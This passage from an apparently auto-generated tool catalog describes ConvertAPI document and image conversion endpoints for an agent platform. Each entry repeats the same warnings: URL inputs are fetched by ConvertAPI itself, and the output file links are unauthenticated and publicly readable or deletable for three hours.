/convert/pdf/to/txt. Convert a textual and scanned PDF document to a plain text file, extract text from a PDF, and apply OCR on a scanned PDF document before conversion. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/txt. Scopes: api. convertapi_post_convert_pdf_to_unprotect (write) — Unprotect PDF API via POST /convert/pdf/to/unprotect. Unlock secured PDF documents to regain full access for reading and processing. Remove user or owner password protection when credentials are available, lifting restrictions on printing, copying, editing, form filling, and annotations. Process single files or batches consistently and integrate unprotection into upstream workflows such as OCR, metadata extraction, redaction, and archival. Ideal for organizations standardizing document intake where protected PDFs must be normalized before downstream automation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/unprotect. Scopes: api. convertapi_post_convert_pdf_to_webp (write) — PDF to WebP Conversion API via POST /convert/pdf/to/webp. Convert PDF documents to modern WebP images to reduce file sizes while preserving visual fidelity. Handle password-protected files and restrict processing to specific page ranges. Control output with image resolution (DPI), scale proportions with explicit width/height to match UI or storage constraints, and apply anti-aliasing for crisp rendering. Choose lossless or lossy compression and adjust quality to balance clarity and size, and optionally map a color to transparency for predictable results. Ideal for web and mobile delivery, batch optimization, and CDN pipelines where small, faithful images are required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/webp. Scopes: api. convertapi_post_convert_pdf_to_xlsx (write) — PDF to XLSX API via POST /convert/pdf/to/xlsx. Convert PDF documents to Excel (XLSX) worksheets with high fidelity for analysis and automation. Preserve tables, text, numbers, and basic formatting to minimize cleanup, and restrict processing to specific page ranges for targeted exports. Handle password-protected files, select OCR mode/engine and languages to recover content from scans, and output onto a single sheet when desired. Normalize data for pipelines by setting decimal and thousands separators aligned to your locale. Built for batch processing with predictable results. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/xlsx. Scopes: api. convertapi_post_convert_pdfa_to_validate (write) — PDF/A Validation API via POST /convert/pdfa/to/validate. Integrate PDF/A validation into your application with a REST API that implements the industry-standard veraPDF validation rules to verify documents against the ISO 19005 archival specification. The endpoint checks conformance for PDF/A-1a, PDF/A-1b, PDF/A-2a, PDF/A-2b, PDF/A-2u, PDF/A-3a, PDF/A-3b, PDF/A-3u, and PDF/A-4, returning a structured JSON report with the detected version and a detailed list of any compliance violations. Built for high-throughput archival pipelines, legal e-filing systems, government submissions, and any document workflow requiring verifiable long-term preservation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdfa/to/validate. Scopes: api. convertapi_post_convert_peppol_to_pdf (write) — Peppol Invoice to PDF API via POST /convert/peppol/to/pdf. Peppol Invoice to PDF API turns a structured Peppol BIS Billing 3.0 (UBL) XML invoice into a professionally rendered PDF document. The API extracts invoice header fields, supplier and customer details, monetary totals, invoice line items, and VAT breakdown from the Peppol XML and renders them into a ready-to-share PDF. Conditional sections such as contact details and free-form notes can be toggled on or off, giving you full control over the final layout. Use this API to automate the generation of compliant electronic invoices in PDF format directly from your accounting or ERP system. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/peppol/to/pdf. Scopes: api. convertapi_post_convert_png_to_compress (write) — PNG Compression API via POST /convert/png/to/compress. Compress PNG images to smaller sizes while preserving visual quality and full alpha transparency. Choose a compression level, set a percentage reduction, or target a specific output file size to meet web, email, and storage limits. Smart palette optimization reduces file sizes by up to 80% without noticeable artifacts, making it ideal for optimizing UI assets, screenshots, logos, and graphics for faster page loads and lower bandwidth. Upload a .png and get an optimized .png suitable for fast delivery and efficient archiving. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/compress. Scopes: api. convertapi_post_convert_png_to_docx (write) — PNG to DOCX Conversion API via POST /convert/png/to/docx. Transform PNG images into editable Word (DOCX) documents. Control page size, orientation, and margins to frame each image correctly on the page. Enable OCR to extract text from scanned or rasterized content, selecting the language that best matches your material. Ideal for digitization pipelines, document generation from scanned pages, and automated image-to-document workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/docx. Scopes: api. convertapi_post_convert_png_to_gif (write) — PNG to GIF Conversion API via POST /convert/png/to/gif. Convert PNG images to GIF, including animated GIF output when multiple frames are provided. Fine-tune playback with frame persistence (keep last frame), per-frame delay, and total animation iterations to meet UX or platform guidelines. Use general image controls to set resolution (DPI), scaling behavior, and explicit width/height for consistent rendering across devices. Adjust color handling to balance palette size and visual fidelity while keeping file size small. Ideal for UI previews, messaging, and web delivery where broad GIF support is required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/gif. Scopes: api. convertapi_post_convert_png_to_jpg (write) — PNG to JPG Conversion API via POST /convert/png/to/jpg. Convert PNG images to JPG while properly handling alpha transparency that JPEG does not support. Replace transparent regions with a specified background color to ensure consistent appearance across light and dark themes. Use general image controls to set resolution (DPI), scaling behavior, and explicit width/height for predictable layout in UIs and pipelines. Choose color space for device consistency and tune JPEG quality to balance visual clarity with minimal file size. Ideal for preparing assets for websites, apps, email previews, and systems that require opaque raster images. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/jpg. Scopes: api. convertapi_post_convert_png_to_pdf (write) — PNG to PDF Conversion API via POST /convert/png/to/pdf. Convert PNG images to PDF for convenient sharing, printing, and archival. Control page size and orientation, configure horizontal and vertical margins, and rotate content to match layout expectations. Set color handling and apply an ICC color profile for predictable rendering across devices and workflows. Enable PDF/A compliance when long-term preservation is required. Ideal for digitization pipelines, records management, and distributing raster graphics as portable documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/pdf. Scopes: api. convertapi_post_convert_png_to_png (write) — PNG to PNG Conversion API via POST /convert/png/to/png. Optimize existing PNG images by re-encoding them with precise control over output characteristics. Adjust color space for consistent rendering across platforms and fine-tune resolution (DPI), scaling behavior, and explicit width/height to match UI, delivery, or storage constraints. Map a specific color to transparency when needed to preserve foreground elements over backgrounds and produce predictable results across batches. Ideal for automation pipelines, CDNs, and preparing assets for web and mobile where small, visually faithful files with alpha support are critical. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/png. Scopes: api. convertapi_post_convert_png_to_pnm (write) — PNG to PNM Conversion API via POST /convert/png/to/pnm. Convert PNG images to Portable Any Map (PNM) formats for simple, interoperable raster output (PBM/PGM/PPM). Use general image controls to set resolution (DPI), select scaling behavior, and define exact width/height for predictable results across inputs. Choose grayscale or RGB output as appropriate, and map transparent regions to a specified background color when downstream tools lack alpha support. Ideal for processing pipelines, testing, and archival workflows that require lightweight, uncompressed files with consistent characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/pnm. Scopes: api. convertapi_post_convert_png_to_pptx (write) — PNG to PPTX Conversion API via POST /convert/png/to/pptx. Transform PNG images into editable PowerPoint (PPTX) presentations. Control page size, orientation, and margins to frame each image correctly on the slide. Enable OCR to extract text from scanned or rasterized content, selecting the language that best matches your material. Ideal for digitization pipelines, slide deck generation from scanned documents, and automated image-to-presentation workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/pptx. Scopes: api. convertapi_post_convert_png_to_svg (write) — PNG to SVG Conversion API via POST /convert/png/to/svg. Convert PNG images into precise, scalable SVG vectors. Adjust color mode and palette size, layering strategy, curve fitting, corner threshold, segment length, speckle filtering, and gradient steps to balance quality and file size. Optionally set output width/height for consistent exports. Ideal for icons, UI assets, diagrams, and vectorizing raster art. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/svg. Scopes: api. convertapi_post_convert_png_to_tiff (write) — PNG to TIFF Conversion API via POST /convert/png/to/tiff. Convert PNG images to robust TIFF format suitable for long-term archiving, print workflows, and interoperability. Choose single- or multi-page output to consolidate sequences, adjust color space for device consistency, and fine-tune quality for the target use case. Set resolution (DPI), scaling behavior, and explicit width/height to meet layout or storage constraints. Ideal for records retention, pre-press pipelines, and systems that require lossless or high-fidelity raster output with predictable characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/tiff. Scopes: api. convertapi_post_convert_png_to_txt (write) — PNG to Text Conversion API via POST /convert/png/to/txt. Convert PNG images to machine-readable text using accurate OCR tuned for screenshots, documents, and photos. Transparent backgrounds are handled automatically, so exported graphics and UI captures read correctly. Choose the enhanced recognition quality to get better results on low quality images, small print, and rotated text. Select OCR languages to boost accuracy for multilingual content and deliver copy-ready text for search, analytics, and automation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/txt. Scopes: api. convertapi_post_convert_png_to_webp (write) — PNG to WebP Conversion API via POST /convert/png/to/webp. Convert PNG images to modern WebP for reduced file sizes while preserving visual fidelity. Set resolution (DPI), choose scaling behavior, and define explicit width/height so outputs match UI layouts or storage constraints. Select lossless or lossy compression and adjust the quality factor to balance clarity and size, and choose an appropriate color space for consistent rendering across platforms. Ideal for web and mobile delivery, batch optimization pipelines, and CDN workflows where small, visually faithful images are desired. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/png/to/webp. Scopes: api. convertapi_post_convert_po_to_translate (write) — Translate PO Files Accurately via POST /convert/po/to/translate. Translate Portable Object (PO) files into multiple languages accurately and efficiently. The PO Files Translator API simplifies the localization process by providing options such as auto-detection of source languages, flexible target language settings, and handling missing or existing translations according to your preferences. Enhance translation quality by specifying context to help AI better understand your content. Expand your application's global reach with our reliable translation solutions. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/po/to/translate. Scopes: api. convertapi_post_convert_potx_to_jpg (write) — POTX to JPG Conversion API via POST /convert/potx/to/jpg. Convert PowerPoint POTX templates to JPG images for previews, review, and archival. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, and JPEG quality to balance clarity and file size. Designed for automation and batch processing, the API produces predictable results across diverse template-based decks. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/potx/to/jpg. Scopes: api. convertapi_post_convert_potx_to_pdf (write) — POTX to PDF Conversion API via POST /convert/potx/to/pdf. Convert PowerPoint POTX templates to high-quality PDF for distribution, review, and archiving. Open password-protected files, specify slide ranges, and choose whether to include hidden slides. Preserve context by exporting speaker notes, embed fonts for consistent rendering across devices, and optionally enable PDF/A compliance for long-term preservation. Designed for automation and batch processing, the API produces predictable results across template-based decks and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/potx/to/pdf. Scopes: api. convertapi_post_convert_potx_to_png (write) — POTX to PNG Conversion API via POST /convert/potx/to/png. Convert PowerPoint POTX templates to PNG images for previews, review, and archival. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, anti-aliasing for crisp text and lines, and background color for predictable compositing. Designed for automation and batch processing, the API produces reliable, lossless images across diverse template-based decks. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/potx/to/png. Scopes: api. convertapi_post_convert_potx_to_pptx (write) — POTX to PowerPoint Conversion API via POST /convert/potx/to/pptx. Convert Microsoft PowerPoint template files (POTX) to standard PPTX presentations to improve interoperability and reduce file issues. Handle password-protected inputs when required and preserve document metadata as part of the conversion pipeline. Use this API to standardize template-based decks for analytics, automation, and collaboration, ensuring consistent structure and rendering across Office versions and platforms. Ideal for bulk migrations, workflow normalization, and preparing slides for downstream systems that expect well-formed PPTX files. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/potx/to/pptx. Scopes: api. convertapi_post_convert_potx_to_tiff (write) — POTX to TIFF Conversion API via POST /convert/potx/to/tiff. Convert PowerPoint POTX templates to TIFF images for records management, print workflows, and interoperability. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, and compression settings to balance fidelity and file size. Designed for automation and batch processing, the API produces consistent, high-fidelity images across diverse template-based decks. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/potx/to/tiff. Scopes: api. convertapi_post_convert_potx_to_webp (write) — POTX to WebP Conversion API via POST /convert/potx/to/webp. Convert PowerPoint POTX templates to modern WebP images for compact, high-quality delivery. Open password-protected files, choose slide ranges, and include hidden slides to preserve context. Control output with image resolution (DPI), explicit width/height, output color space, and anti-aliasing for crisp text and lines. Select lossless or lossy compression and adjust quality to balance fidelity and file size across web and mobile use cases. Designed for automation and batch processing, the API produces reliable images from template-based decks. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever 